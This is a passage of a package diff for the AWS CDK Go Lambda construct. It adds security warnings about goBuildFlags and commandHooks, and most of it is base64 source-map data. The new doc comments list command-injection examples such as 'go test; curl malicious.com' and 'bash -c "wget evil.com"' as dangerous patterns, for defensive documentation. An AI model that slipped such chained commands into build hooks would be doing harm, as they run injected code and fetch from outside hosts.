tY2RrLWxpYi9jb3JlJztcbmltcG9ydCB7IENvbnN0cnVjdCB9IGZyb20gJ2NvbnN0cnVjdHMnO1xuaW1wb3J0IHsgQnVuZGxpbmcgfSBmcm9tICcuL2J1bmRsaW5nJztcbmltcG9ydCB7IEJ1bmRsaW5nT3B0aW9ucyB9IGZyb20gJy4vdHlwZXMnO1xuaW1wb3J0IHsgZmluZFVwIH0gZnJvbSAnLi91dGlsJztcbmltcG9ydCB7IGFkZENvbnN0cnVjdE1ldGFkYXRhIH0gZnJvbSAnYXdzLWNkay1saWIvY29yZS9saWIvbWV0YWRhdGEtcmVzb3VyY2UnO1xuaW1wb3J0IHsgcHJvcGVydHlJbmplY3RhYmxlIH0gZnJvbSAnYXdzLWNkay1saWIvY29yZS9saWIvcHJvcC1pbmplY3RhYmxlJztcblxuLyoqXG4gKiBQcm9wZXJ0aWVzIGZvciBhIEdvbGFuZ0Z1bmN0aW9uXG4gKi9cbmV4cG9ydCBpbnRlcmZhY2UgR29GdW5jdGlvblByb3BzIGV4dGVuZHMgbGFtYmRhLkZ1bmN0aW9uT3B0aW9ucyB7XG4gIC8qKlxuICAgKiBUaGUgcGF0aCB0byB0aGUgZm9sZGVyIG9yIGZpbGUgdGhhdCBjb250YWlucyB0aGUgbWFpbiBhcHBsaWNhdGlvbiBlbnRyeSBwb2ludCBmaWxlcyBmb3IgdGhlIHByb2plY3QuXG4gICAqXG4gICAqIFRoaXMgYWNjZXB0cyBlaXRoZXIgYSBwYXRoIHRvIGEgZGlyZWN0b3J5IG9yIGZpbGUuXG4gICAqXG4gICAqIElmIGEgZGlyZWN0b3J5IHBhdGggaXMgcHJvdmlkZWQgdGhlbiBpdCB3aWxsIGFzc3VtZSB0aGVyZSBpcyBhIEdvIGVudHJ5IGZpbGUgKGkuZS4gYG1haW4uZ29gKSBhbmRcbiAgICogd2lsbCBjb25zdHJ1Y3QgdGhlIGJ1aWxkIGNvbW1hbmQgdXNpbmcgdGhlIGRpcmVjdG9yeSBwYXRoLlxuICAgKlxuICAgKiBGb3IgZXhhbXBsZSwgaWYgeW91IHByb3ZpZGUgdGhlIGVudHJ5IGFzOlxuICAgKlxuICAgKiAgICAgZW50cnk6ICdteS1sYW1iZGEtYXBwL2NtZC9hcGknXG4gICAqXG4gICAqIFRoZW4gdGhlIGBnbyBidWlsZGAgY29tbWFuZCB3b3VsZCBiZTpcbiAgICpcbiAgICogICAgIGBnbyBidWlsZCAuL2NtZC9hcGlgXG4gICAqXG4gICAqIElmIGEgcGF0aCB0byBhIGZpbGUgaXMgcHJvdmlkZWQgdGhlbiBpdCB3aWxsIHVzZSB0aGUgZmlsZXBhdGggaW4gdGhlIGJ1aWxkIGNvbW1hbmQuXG4gICAqXG4gICAqIEZvciBleGFtcGxlLCBpZiB5b3UgcHJvdmlkZSB0aGUgZW50cnkgYXM6XG4gICAqXG4gICAqICAgICBlbnRyeTogJ215LWxhbWJkYS1hcHAvY21kL2FwaS9tYWluLmdvJ1xuICAgKlxuICAgKiBUaGVuIHRoZSBgZ28gYnVpbGRgIGNvbW1hbmQgd291bGQgYmU6XG4gICAqXG4gICAqICAgICBgZ28gYnVpbGQgLi9jbWQvYXBpL21haW4uZ29gXG4gICAqL1xuICByZWFkb25seSBlbnRyeTogc3RyaW5nO1xuXG4gIC8qKlxuICAgKiBUaGUgcnVudGltZSBlbnZpcm9ubWVudC4gT25seSBydW50aW1lcyBvZiB0aGUgR29sYW5nIGZhbWlseSBhbmQgcHJvdmlkZWQgZmFtaWx5IGFyZSBzdXBwb3J0ZWQuXG4gICAqXG4gICAqIEBkZWZhdWx0IGxhbWJkYS5SdW50aW1lLlBST1ZJREVEX0FMMlxuICAgKi9cbiAgcmVhZG9ubHkgcnVudGltZT86IGxhbWJkYS5SdW50aW1lO1xuXG4gIC8qKlxuICAgKiBEaXJlY3RvcnkgY29udGFpbmluZyB5b3VyIGdvLm1vZCBmaWxlXG4gICAqXG4gICAqIFRoaXMgd2lsbCBhY2NlcHQgZWl0aGVyIGEgZGlyZWN0b3J5IHBhdGggY29udGFpbmluZyBhIGBnby5tb2RgIGZpbGVcbiAgICogb3IgYSBmaWxlcGF0aCB0byB5b3VyIGBnby5tb2RgIGZpbGUgKGkuZS4gYHBhdGgvdG8vZ28ubW9kYCkuXG4gICAqXG4gICAqIFRoaXMgd2lsbCBiZSB1c2VkIGFzIHRoZSBzb3VyY2Ugb2YgdGhlIHZvbHVtZSBtb3VudGVkIGluIHRoZSBEb2NrZXJcbiAgICogY29udGFpbmVyIGFuZCB3aWxsIGJlIHRoZSBkaXJlY3Rvcnkgd2hlcmUgaXQgd2lsbCBydW4gYGdvIGJ1aWxkYCBmcm9tLlxuICAgKlxuICAgKiBAZGVmYXVsdCAtIHRoZSBwYXRoIGlzIGZvdW5kIGJ5IHdhbGtpbmcgdXAgcGFyZW50IGRpcmVjdG9yaWVzIHNlYXJjaGluZyBmb3JcbiAgICogIGEgYGdvLm1vZGAgZmlsZSBmcm9tIHRoZSBsb2NhdGlvbiBvZiBgZW50cnlgXG4gICAqL1xuICByZWFkb25seSBtb2R1bGVEaXI/OiBzdHJpbmc7XG5cbiAgLyoqXG4gICAqIEJ1bmRsaW5nIG9wdGlvbnNcbiAgICpcbiAgICogQGRlZmF1bHQgLSB1c2UgZGVmYXVsdCBidW5kbGluZyBvcHRpb25zXG4gICAqL1xuICByZWFkb25seSBidW5kbGluZz86IEJ1bmRsaW5nT3B0aW9ucztcbn1cblxuLyoqXG4gKiBBIEdvbGFuZyBMYW1iZGEgZnVuY3Rpb25cbiAqL1xuQHByb3BlcnR5SW5qZWN0YWJsZVxuZXhwb3J0IGNsYXNzIEdvRnVuY3Rpb24gZXh0ZW5kcyBsYW1iZGEuRnVuY3Rpb24ge1xuICAvKiogVW5pcXVlbHkgaWRlbnRpZmllcyB0aGlzIGNsYXNzLiAqL1xuICBwdWJsaWMgc3RhdGljIHJlYWRvbmx5IFBST1BFUlRZX0lOSkVDVElPTl9JRDogc3RyaW5nID0gJ0Bhd3MtY2RrLmF3cy1sYW1iZGEtZ28tYWxwaGEuR29GdW5jdGlvbic7XG4gIC8qKlxuICAgKiBUaGUgYWRkcmVzcyBvZiB0aGUgR29vZ2xlIEdvIHByb3h5XG4gICAqL1xuICBwdWJsaWMgc3RhdGljIHJlYWRvbmx5IEdPT0dMRV9HT1BST1hZID0gJ2h0dHBzOi8vcHJveHkuZ29sYW5nLm9yZyc7XG5cbiAgY29uc3RydWN0b3Ioc2NvcGU6IENvbnN0cnVjdCwgaWQ6IHN0cmluZywgcHJvcHM6IEdvRnVuY3Rpb25Qcm9wcykge1xuICAgIGlmIChwcm9wcy5ydW50aW1lICYmIChwcm9wcy5ydW50aW1lLmZhbWlseSAhPT0gbGFtYmRhLlJ1bnRpbWVGYW1pbHkuR08gJiYgcHJvcHMucnVudGltZS5mYW1pbHkgIT0gbGFtYmRhLlJ1bnRpbWVGYW1pbHkuT1RIRVIpKSB7XG4gICAgICB0aHJvdyBuZXcgRXJyb3IoJ09ubHkgYGdvYCBhbmQgYHByb3ZpZGVkYCBydW50aW1lcyBhcmUgc3VwcG9ydGVkLicpO1xuICAgIH1cblxuICAgIGNvbnN0IGVudHJ5ID0gcGF0aC5yZXNvbHZlKHByb3BzLmVudHJ5KTtcblxuICAgIC8vIEZpbmQgdGhlIHByb2plY3Qgcm9vdFxuICAgIGxldCBtb2R1bGVEaXI6IHN0cmluZztcbiAgICBpZiAocHJvcHMubW9kdWxlRGlyKSB7XG4gICAgICBjb25zdCBwYXJzZWRNb2R1bGVEaXIgPSBwYXRoLnBhcnNlKHByb3BzLm1vZHVsZURpcik7XG4gICAgICBpZiAocGFyc2VkTW9kdWxlRGlyLmJhc2UgJiYgcGFyc2VkTW9kdWxlRGlyLmV4dCAmJiBwYXJzZWRNb2R1bGVEaXIuYmFzZSA9PT0gJ2dvLm1vZCcpIHtcbiAgICAgICAgaWYgKCFmcy5leGlzdHNTeW5jKHByb3BzLm1vZHVsZURpcikpIHtcbiAgICAgICAgICB0aHJvdyBuZXcgRXJyb3IoYGdvLm1vZCBmaWxlIGF0ICR7cHJvcHMubW9kdWxlRGlyfSBkb2Vzbid0IGV4aXN0YCk7XG4gICAgICAgIH1cbiAgICAgIH0gZWxzZSBpZiAocGFyc2VkTW9kdWxlRGlyLmJhc2UgJiYgcGFyc2VkTW9kdWxlRGlyLmV4dCAmJiBwYXJzZWRNb2R1bGVEaXIuYmFzZSAhPSAnZ28ubW9kJykge1xuICAgICAgICB0aHJvdyBuZXcgRXJyb3IoJ21vZHVsZURpciBpcyBzcGVjaWZ5aW5nIGEgZmlsZSB0aGF0IGlzIG5vdCBnby5tb2QnKTtcbiAgICAgIH0gZWxzZSBpZiAoIWZzLmV4aXN0c1N5bmMocGF0aC5qb2luKHByb3BzLm1vZHVsZURpciwgJ2dvLm1vZCcpKSkge1xuICAgICAgICB0aHJvdyBuZXcgRXJyb3IoYGdvLm1vZCBmaWxlIGF0ICR7cHJvcHMubW9kdWxlRGlyfSBkb2Vzbid0IGV4aXN0YCk7XG4gICAgICB9XG4gICAgICBtb2R1bGVEaXIgPSBwcm9wcy5tb2R1bGVEaXI7XG4gICAgfSBlbHNlIHtcbiAgICAgIGNvbnN0IG1vZEZpbGUgPSBmaW5kVXAoJ2dvLm1vZCcsIGVudHJ5KTtcbiAgICAgIGlmICghbW9kRmlsZSkge1xuICAgICAgICB0aHJvdyBuZXcgRXJyb3IgKCdDYW5ub3QgZmluZCBnby5tb2QuIFBsZWFzZSBzcGVjaWZ5IGl0IHdpdGggYG1vZHVsZURpcmAuJyk7XG4gICAgICB9XG4gICAgICBtb2R1bGVEaXIgPSBtb2RGaWxlO1xuICAgIH1cblxuICAgIGNvbnN0IHJ1bnRpbWUgPSBwcm9wcy5ydW50aW1lID8/IGxhbWJkYS5SdW50aW1lLlBST1ZJREVEX0FMMjtcbiAgICBjb25zdCBhcmNoaXRlY3R1cmUgPSBwcm9wcy5hcmNoaXRlY3R1cmUgPz8gbGFtYmRhLkFyY2hpdGVjdHVyZS5YODZfNjQ7XG5cbiAgICAvLyBTZWN1cml0eSB3YXJuaW5ncyBmb3IgcG90ZW50aWFsbHkgdW5zYWZlIGJ1bmRsaW5nIG9wdGlvbnNcbiAgICBpZiAocHJvcHMuYnVuZGxpbmc/LmdvQnVpbGRGbGFncz8ubGVuZ3RoKSB7XG4gICAgICBjZGsuQW5ub3RhdGlvbnMub2Yoc2NvcGUpLmFkZFdhcm5pbmdWMihcbiAgICAgICAgJ0Bhd3MtY2RrL2F3cy1sYW1iZGEtZ28tYWxwaGE6Z29CdWlsZEZsYWdzU2VjdXJpdHlXYXJuaW5nJyxcbiAgICAgICAgJ2dvQnVpbGRGbGFncyBjYW4gZXhlY3V0ZSBhcmJpdHJhcnkgY29tbWFuZHMgZHVyaW5nIGJ1bmRsaW5nLiBFbnN1cmUgYWxsIGZsYWdzIGNvbWUgZnJvbSB0cnVzdGVkIHNvdXJjZXMuIFNlZTogaHR0cHM6Ly9kb2NzLmF3cy5hbWF6b24uY29tL2Nkay9sYXRlc3QvZ3VpZGUvc2VjdXJpdHkuaHRtbCcsXG4gICAgICApO1xuICAgIH1cblxuICAgIGlmIChwcm9wcy5idW5kbGluZz8uY29tbWFuZEhvb2tzPy5iZWZvcmVCdW5kbGluZyB8fCBwcm9wcy5idW5kbGluZz8uY29tbWFuZEhvb2tzPy5hZnRlckJ1bmRsaW5nKSB7XG4gICAgICBjZGsuQW5ub3RhdGlvbnMub2Yoc2NvcGUpLmFkZFdhcm5pbmdWMihcbiAgICAgICAgJ0Bhd3MtY2RrL2F3cy1sYW1iZGEtZ28tYWxwaGE6Y29tbWFuZEhvb2tzU2VjdXJpdHlXYXJuaW5nJyxcbiAgICAgICAgJ2NvbW1hbmRIb29rcyBjYW4gZXhlY3V0ZSBhcmJpdHJhcnkgY29tbWFuZHMgZHVyaW5nIGJ1bmRsaW5nLiBFbnN1cmUgYWxsIGNvbW1hbmRzIGNvbWUgZnJvbSB0cnVzdGVkIHNvdXJjZXMuIFNlZTogaHR0cHM6Ly9kb2NzLmF3cy5hbWF6b24uY29tL2Nkay9sYXRlc3QvZ3VpZGUvc2VjdXJpdHkuaHRtbCcsXG4gICAgICApO1xuICAgIH1cblxuICAgIHN1cGVyKHNjb3BlLCBpZCwge1xuICAgICAgLi4ucHJvcHMsXG4gICAgICBydW50aW1lLFxuICAgICAgY29kZTogQnVuZGxpbmcuYnVuZGxlKHtcbiAgICAgICAgLi4ucHJvcHMuYnVuZGxpbmcgPz8ge30sXG4gICAgICAgIGVudHJ5LFxuICAgICAgICBydW50aW1lLFxuICAgICAgICBhcmNoaXRlY3R1cmUsXG4gICAgICAgIG1vZHVsZURpcixcbiAgICAgIH0pLFxuICAgICAgaGFuZGxlcjogJ2Jvb3RzdHJhcCcsIC8vIHNldHRpbmcgbmFtZSB0byBib290c3RyYXAgc28gdGhhdCB0aGUgJ3Byb3ZpZGVkJyBydW50aW1lIGNhbiBhbHNvIGJlIHVzZWRcbiAgICB9KTtcblxuICAgIC8vIEVuaGFuY2VkIENESyBBbmFseXRpY3MgVGVsZW1ldHJ5XG4gICAgYWRkQ29uc3RydWN0TWV0YWRhdGEodGhpcywgcHJvcHMpO1xuICB9XG59XG5cbiJdfQ==

package/lib/types.d.ts

@@ -22,6 +22,11 @@ export interface BundlingOptions extends DockerRunOptions {
      * For example:
      * ['ldflags "-s -w"']
      *
+     * ⚠️ **Security Warning**: These flags are passed directly to the Go build command.
+     * Only use trusted values as they can execute arbitrary commands during bundling.
+     * Avoid flags like `-toolexec` with untrusted arguments, and be cautious with
+     * third-party CDK constructs that may contain malicious build flags.
+     *
      * @default - none
      */
     readonly goBuildFlags?: string[];
@@ -72,6 +77,10 @@ export interface BundlingOptions extends DockerRunOptions {
     /**
      * Command hooks
      *
+     * ⚠️ **Security Warning**: Commands are executed directly in the shell environment.
+     * Only use trusted commands from verified sources. Avoid shell metacharacters
+     * that could enable command injection attacks.
+     *
      * @default - do not run additional commands
      */
     readonly commandHooks?: ICommandHooks;
@@ -116,28 +125,48 @@ export interface BundlingOptions extends DockerRunOptions {
  * These commands will run in the environment in which bundling occurs: inside
  * the container for Docker bundling or on the host OS for local bundling.
  *
+ * ⚠️ **Security Warning**: Commands are executed directly in the shell environment.
+ * Only use trusted commands and avoid shell metacharacters that could enable
+ * command injection attacks.
+ *
+ * **Safe patterns (cross-platform):**
+ * - `go test ./...` - Standard Go commands work on all platforms
+ * - `go mod tidy` - Go module commands
+ * - `echo "Building"` - Simple output with quotes
+ * - `make clean` - Build tools (if available)
+ *
+ * **Dangerous patterns to avoid:**
+ *
+ * *Windows:*
+ * - `go test & curl.exe malicious.com` (command chaining)
+ * - `echo %USERPROFILE%` (environment variable expansion)
+ * - `powershell -Command "..."` (PowerShell execution)
+ *
+ * *Unix/Linux/macOS:*
+ * - `go test; curl malicious.com` (command chaining)
+ * - `echo $(whoami)` (command substitution)
+ * - `bash -c "wget evil.com"` (shell execution)
+ *
  * Commands are chained with `&&`.
  *
- * ```text
- * {
- *   // Run tests prior to bundling
- *   beforeBundling(inputDir: string, outputDir: string): string[] {
- *     return [`go test -mod=vendor ./...`];
- *   }
- *   // ...
- * }
- * ```
+ * @see https://docs.aws.amazon.com/cdk/latest/guide/security.html
  */
 export interface ICommandHooks {
     /**
      * Returns commands to run before bundling.
      *
+     * ⚠️ **Security Warning**: Ensure commands come from trusted sources only.
+     * Commands are executed directly in the shell environment.
+     *
      * Commands are chained with `&&`.
      */
     beforeBundling(inputDir: string, outputDir: string): string[];
     /**
      * Returns commands to run after bundling.
      *
+     * ⚠️ **Security Warning**: Ensure commands come from trusted sources only.
+     * Commands are executed directly in the shell environment.
+     *
      * Commands are chained with `&&`.
      */
     afterBundling(inputDir: string, outputDir: string): string[];

package/lib/types.js

@@ -1,3 +1,3 @@
 "use strict";
 Object.defineProperty(exports, "__esModule", { value: true });
-//# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJmaWxlIjoidHlwZXMuanMiLCJzb3VyY2VSb290IjoiIiwic291cmNlcyI6WyJ0eXBlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiIiwic291cmNlc0NvbnRlbnQiOlsiaW1wb3J0IHsgQXNzZXRIYXNoVHlwZSwgQnVuZGxpbmdGaWxlQWNjZXNzLCBEb2NrZXJJbWFnZSwgRG9ja2VyUnVuT3B0aW9ucyB9IGZyb20gJ2F3cy1jZGstbGliL2NvcmUnO1xuXG4vKipcbiAqIEJ1bmRsaW5nIG9wdGlvbnNcbiAqL1xuZXhwb3J0IGludGVyZmFjZSBCdW5kbGluZ09wdGlvbnMgZXh0ZW5kcyBEb2NrZXJSdW5PcHRpb25zIHtcbiAgLyoqXG4gICAqIEZvcmNlIGJ1bmRsaW5nIGluIGEgRG9ja2VyIGNvbnRhaW5lciBldmVuIGlmIGxvY2FsIGJ1bmRsaW5nIGlzXG4gICAqIHBvc3NpYmxlLlxuICAgKlxuICAgKiBAZGVmYXVsdCAtIGZhbHNlXG4gICAqL1xuICByZWFkb25seSBmb3JjZWREb2NrZXJCdW5kbGluZz86IGJvb2xlYW47XG5cbiAgLyoqXG4gICAqIEEgY3VzdG9tIGJ1bmRsaW5nIERvY2tlciBpbWFnZS5cbiAgICpcbiAgICogQGRlZmF1bHQgLSB1c2UgdGhlIERvY2tlciBpbWFnZSBwcm92aWRlZCBieSBAYXdzLWNkay9hd3MtbGFtYmRhLWdvLWFscGhhXG4gICAqL1xuICByZWFkb25seSBkb2NrZXJJbWFnZT86IERvY2tlckltYWdlO1xuXG4gIC8qKlxuICAgKiBMaXN0IG9mIGFkZGl0aW9uYWwgZmxhZ3MgdG8gdXNlIHdoaWxlIGJ1aWxkaW5nLlxuICAgKlxuICAgKiBGb3IgZXhhbXBsZTpcbiAgICogWydsZGZsYWdzIFwiLXMgLXdcIiddXG4gICAqXG4gICAqIEBkZWZhdWx0IC0gbm9uZVxuICAgKi9cbiAgcmVhZG9ubHkgZ29CdWlsZEZsYWdzPzogc3RyaW5nW107XG5cbiAgLyoqXG4gICAqIEJ1aWxkIGFyZ3VtZW50cyB0byBwYXNzIHdoZW4gYnVpbGRpbmcgdGhlIGJ1bmRsaW5nIGltYWdlLlxuICAgKlxuICAgKiBAZGVmYXVsdCAtIG5vIGJ1aWxkIGFyZ3VtZW50cyBhcmUgcGFzc2VkXG4gICAqL1xuICByZWFkb25seSBidWlsZEFyZ3M/OiB7IFtrZXk6c3RyaW5nXSA6IHN0cmluZyB9O1xuXG4gIC8qKlxuICAgKiBEZXRlcm1pbmVzIGhvdyB0aGUgYXNzZXQgaGFzaCBpcyBjYWxjdWxhdGVkLiBBc3NldHMgd2lsbFxuICAgKiBnZXQgcmVidWlsdCBhbmQgdXBsb2FkZWQgb25seSBpZiB0aGVpciBoYXNoIGhhcyBjaGFuZ2VkLlxuICAgKlxuICAgKiBJZiB0aGUgYXNzZXQgaGFzaCBpcyBzZXQgdG8gYE9VVFBVVGAgKGRlZmF1bHQpLCB0aGUgaGFzaCBpcyBjYWxjdWxhdGVkXG4gICAqIGFmdGVyIGJ1bmRsaW5nLiBUaGlzIG1lYW5zIHRoYXQgYW55IGNoYW5nZSBpbiB0aGUgb3V0cHV0IHdpbGwgY2F1c2VcbiAgICogdGhlIGFzc2V0IHRvIGJlIGludmFsaWRhdGVkIGFuZCB1cGxvYWRlZC4gQmVhciBpbiBtaW5kIHRoYXQgdGhlXG4gICAqIGdvIGJpbmFyeSB0aGF0IGlzIG91dHB1dCBjYW4gYmUgZGlmZmVyZW50IGRlcGVuZGluZyBvbiB0aGUgZW52aXJvbm1lbnRcbiAgICogdGhhdCBpdCB3YXMgY29tcGlsZWQgaW4uIElmIHlvdSB3YW50IHRvIGNvbnRyb2wgd2hlbiB0aGUgb3V0cHV0IGlzIGNoYW5nZWRcbiAgICogaXQgaXMgcmVjb21tZW5kZWQgdGhhdCB5b3UgdXNlIGltbXV0YWJsZSBidWlsZCBpbWFnZXMgc3VjaCBhc1xuICAgKiBgcHVibGljLmVjci5hd3MvYml0bmFtaS9nb2xhbmc6MS4xNi4zLWRlYmlhbi0xMC1yMTZgLlxuICAgKlxuICAgKiBJZiB0aGUgYXNzZXQgaGFzaCBpcyBzZXQgdG8gYFNPVVJDRWAsIHRoZW4gb25seSBjaGFuZ2VzIHRvIHRoZSBzb3VyY2VcbiAgICogZGlyZWN0b3J5IHdpbGwgY2F1c2UgdGhlIGFzc2V0IHRvIHJlYnVpbGQuIElmIHlvdXIgZ28gcHJvamVjdCBoYXMgbXVsdGlwbGVcbiAgICogTGFtYmRhIGZ1bmN0aW9ucyB0aGlzIG1lYW5zIHRoYXQgYW4gdXBkYXRlIHRvIGFueSBvbmUgZnVuY3Rpb24gY291bGQgY2F1c2VcbiAgICogYWxsIHRoZSBmdW5jdGlvbnMgdG8gYmUgcmVidWlsdCBhbmQgdXBsb2FkZWQuXG4gICAqXG4gICAqIEBkZWZhdWx0IC0gQXNzZXRIYXNoVHlwZS5PVVRQVVQuIElmIGBhc3NldEhhc2hgIGlzIGFsc28gc3BlY2lmaWVkLFxuICAgKiB0aGUgZGVmYXVsdCBpcyBgQ1VTVE9NYC5cbiAgICovXG4gIHJlYWRvbmx5IGFzc2V0SGFzaFR5cGU/OiBBc3NldEhhc2hUeXBlO1xuXG4gIC8qKlxuICAgKiBTcGVjaWZ5IGEgY3VzdG9tIGhhc2ggZm9yIHRoaXMgYXNzZXQuIElmIGBhc3NldEhhc2hUeXBlYCBpcyBzZXQgaXQgbXVzdFxuICAgKiBiZSBzZXQgdG8gYEFzc2V0SGFzaFR5cGUuQ1VTVE9NYC4gRm9yIGNvbnNpc3RlbmN5LCB0aGlzIGN1c3RvbSBoYXNoIHdpbGxcbiAgICogYmUgU0hBMjU2IGhhc2hlZCBhbmQgZW5jb2RlZCBhcyBoZXguIFRoZSByZXN1bHRpbmcgaGFzaCB3aWxsIGJlIHRoZSBhc3NldFxuICAgKiBoYXNoLlxuICAgKlxuICAgKiBOT1RFOiB0aGUgaGFzaCBpcyB1c2VkIGluIG9yZGVyIHRvIGlkZW50aWZ5IGEgc3BlY2lmaWMgcmV2aXNpb24gb2YgdGhlIGFzc2V0LCBhbmRcbiAgICogdXNlZCBmb3Igb3B0aW1pemluZyBhbmQgY2FjaGluZyBkZXBsb3ltZW50IGFjdGl2aXRpZXMgcmVsYXRlZCB0byB0aGlzIGFzc2V0IHN1Y2ggYXNcbiAgICogcGFja2FnaW5nLCB1cGxvYWRpbmcgdG8gQW1hem9uIFMzLCBldGMuIElmIHlvdSBjaG9zZSB0byBjdXN0b21pemUgdGhlIGhhc2gsIHlvdSB3aWxsXG4gICAqIG5lZWQgdG8gbWFrZSBzdXJlIGl0IGlzIHVwZGF0ZWQgZXZlcnkgdGltZSB0aGUgYXNzZXQgY2hhbmdlcywgb3Igb3RoZXJ3aXNlIGl0IGlzXG4gICAqIHBvc3NpYmxlIHRoYXQgc29tZSBkZXBsb3ltZW50cyB3aWxsIG5vdCBiZSBpbnZhbGlkYXRlZC5cbiAgICpcbiAgICogQGRlZmF1bHQgLSBiYXNlZCBvbiBgYXNzZXRIYXNoVHlwZWBcbiAgICovXG4gIHJlYWRvbmx5IGFzc2V0SGFzaD86IHN0cmluZztcblxuICAvKipcbiAgICogQ29tbWFuZCBob29rc1xuICAgKlxuICAgKiBAZGVmYXVsdCAtIGRvIG5vdCBydW4gYWRkaXRpb25hbCBjb21tYW5kc1xuICAgKi9cbiAgcmVhZG9ubHkgY29tbWFuZEhvb2tzPzogSUNvbW1hbmRIb29rcztcblxuICAvKipcbiAgICogV2hldGhlciBvciBub3QgdG8gZW5hYmxlIGNnbyBkdXJpbmcgZ28gYnVpbGRcbiAgICpcbiAgICogVGhpcyB3aWxsIHNldCB0aGUgQ0dPX0VOQUJMRUQgZW52aXJvbm1lbnQgdmFyaWFibGVcbiAgICpcbiAgICogQGRlZmF1bHQgLSBmYWxzZVxuICAgKi9cbiAgcmVhZG9ubHkgY2dvRW5hYmxlZD86IGJvb2xlYW47XG5cbiAgLyoqXG4gICAqIFdoYXQgR28gcHJveGllcyB0byB1c2UgdG8gZmV0Y2ggdGhlIHBhY2thZ2VzIGludm9sdmVkIGluIHRoZSBidWlsZFxuICAgKlxuICAgKiBQYXNzIGEgbGlzdCBvZiBwcm94eSBhZGRyZXNzZXMgaW4gb3JkZXIsIGFuZC9vciB0aGUgc3RyaW5nIGAnZGlyZWN0J2AgdG9cbiAgICogYXR0ZW1wdCBkaXJlY3QgYWNjZXNzLlxuICAgKlxuICAgKiBCeSBkZWZhdWx0IHRoaXMgY29uc3RydWN0IHVzZXMgbm8gcHJveGllcywgYnV0IGEgc3RhbmRhcmQgR28gaW5zdGFsbCB3b3VsZFxuICAgKiB1c2UgdGhlIEdvb2dsZSBwcm94eSBieSBkZWZhdWx0LiBUbyByZWNyZWF0ZSB0aGF0IGJlaGF2aW9yLCBkbyB0aGUgZm9sbG93aW5nOlxuICAgKlxuICAgKiBgYGB0c1xuICAgKiBuZXcgZ28uR29GdW5jdGlvbih0aGlzLCAnR29GdW5jdGlvbicsIHtcbiAgICogICBlbnRyeTogJ2FwcC9jbWQvYXBpJyxcbiAgICogICBidW5kbGluZzoge1xuICAgKiAgICAgZ29Qcm94aWVzOiBbZ28uR29GdW5jdGlvbi5HT09HTEVfR09QUk9YWSwgJ2RpcmVjdCddLFxuICAgKiAgIH0sXG4gICAqIH0pO1xuICAgKiBgYGBcbiAgICpcbiAgICogQGRlZmF1bHQgLSBEaXJlY3QgYWNjZXNzXG4gICAqL1xuICByZWFkb25seSBnb1Byb3hpZXM/OiBzdHJpbmdbXTtcblxuICAvKipcbiAgICogV2hpY2ggb3B0aW9uIHRvIHVzZSB0byBjb3B5IHRoZSBzb3VyY2UgZmlsZXMgdG8gdGhlIGRvY2tlciBjb250YWluZXIgYW5kIG91dHB1dCBmaWxlcyBiYWNrXG4gICAqIEBkZWZhdWx0IC0gQnVuZGxpbmdGaWxlQWNjZXNzLkJJTkRfTU9VTlRcbiAgICovXG4gIHJlYWRvbmx5IGJ1bmRsaW5nRmlsZUFjY2Vzcz86IEJ1bmRsaW5nRmlsZUFjY2Vzcztcbn1cblxuLyoqXG4gKiBDb21tYW5kIGhvb2tzXG4gKlxuICogVGhlc2UgY29tbWFuZHMgd2lsbCBydW4gaW4gdGhlIGVudmlyb25tZW50IGluIHdoaWNoIGJ1bmRsaW5nIG9jY3VyczogaW5zaWRlXG4gKiB0aGUgY29udGFpbmVyIGZvciBEb2NrZXIgYnVuZGxpbmcgb3Igb24gdGhlIGhvc3QgT1MgZm9yIGxvY2FsIGJ1bmRsaW5nLlxuICpcbiAqIENvbW1hbmRzIGFyZSBjaGFpbmVkIHdpdGggYCYmYC5cbiAqXG4gKiBgYGB0ZXh0XG4gKiB7XG4gKiAgIC8vIFJ1biB0ZXN0cyBwcmlvciB0byBidW5kbGluZ1xuICogICBiZWZvcmVCdW5kbGluZyhpbnB1dERpcjogc3RyaW5nLCBvdXRwdXREaXI6IHN0cmluZyk6IHN0cmluZ1tdIHtcbiAqICAgICByZXR1cm4gW2BnbyB0ZXN0IC1tb2Q9dmVuZG9yIC4vLi4uYF07XG4gKiAgIH1cbiAqICAgLy8gLi4uXG4gKiB9XG4gKiBgYGBcbiAqL1xuZXhwb3J0IGludGVyZmFjZSBJQ29tbWFuZEhvb2tzIHtcbiAgLyoqXG4gICAqIFJldHVybnMgY29tbWFuZHMgdG8gcnVuIGJlZm9yZSBidW5kbGluZy5cbiAgICpcbiAgICogQ29tbWFuZHMgYXJlIGNoYWluZWQgd2l0aCBgJiZgLlxuICAgKi9cbiAgYmVmb3JlQnVuZGxpbmcoaW5wdXREaXI6IHN0cmluZywgb3V0cHV0RGlyOiBzdHJpbmcpOiBzdHJpbmdbXTtcblxuICAvKipcbiAgICogUmV0dXJucyBjb21tYW5kcyB0byBydW4gYWZ0ZXIgYnVuZGxpbmcuXG4gICAqXG4gICAqIENvbW1hbmRzIGFyZSBjaGFpbmVkIHdpdGggYCYmYC5cbiAgICovXG4gIGFmdGVyQnVuZGxpbmcoaW5wdXREaXI6IHN0cmluZywgb3V0cHV0RGlyOiBzdHJpbmcpOiBzdHJpbmdbXTtcbn1cbiJdfQ==
+//# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJmaWxlIjoidHlwZXMuanMiLCJzb3VyY2VSb290IjoiIiwic291cmNlcyI6WyJ0eXBlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiIiwic291cmNlc0NvbnRlbnQiOlsiaW1wb3J0IHsgQXNzZXRIYXNoVHlwZSwgQnVuZGxpbmdGaWxlQWNjZXNzLCBEb2NrZXJJbWFnZSwgRG9ja2VyUnVuT3B0aW9ucyB9IGZyb20gJ2F3cy1jZGstbGliL2NvcmUnO1xuXG4vKipcbiAqIEJ1bmRsaW5nIG9wdGlvbnNcbiAqL1xuZXhwb3J0IGludGVyZmFjZSBCdW5kbGluZ09wdGlvbnMgZXh0ZW5kcyBEb2NrZXJSdW5PcHRpb25zIHtcbiAgLyoqXG4gICAqIEZvcmNlIGJ1bmRsaW5nIGluIGEgRG9ja2VyIGNvbnRhaW5lciBldmVuIGlmIGxvY2FsIGJ1bmRsaW5nIGlzXG4gICAqIHBvc3NpYmxlLlxuICAgKlxuICAgKiBAZGVmYXVsdCAtIGZhbHNlXG4gICAqL1xuICByZWFkb25seSBmb3JjZWREb2NrZXJCdW5kbGluZz86IGJvb2xlYW47XG5cbiAgLyoqXG4gICAqIEEgY3VzdG9tIGJ1bmRsaW5n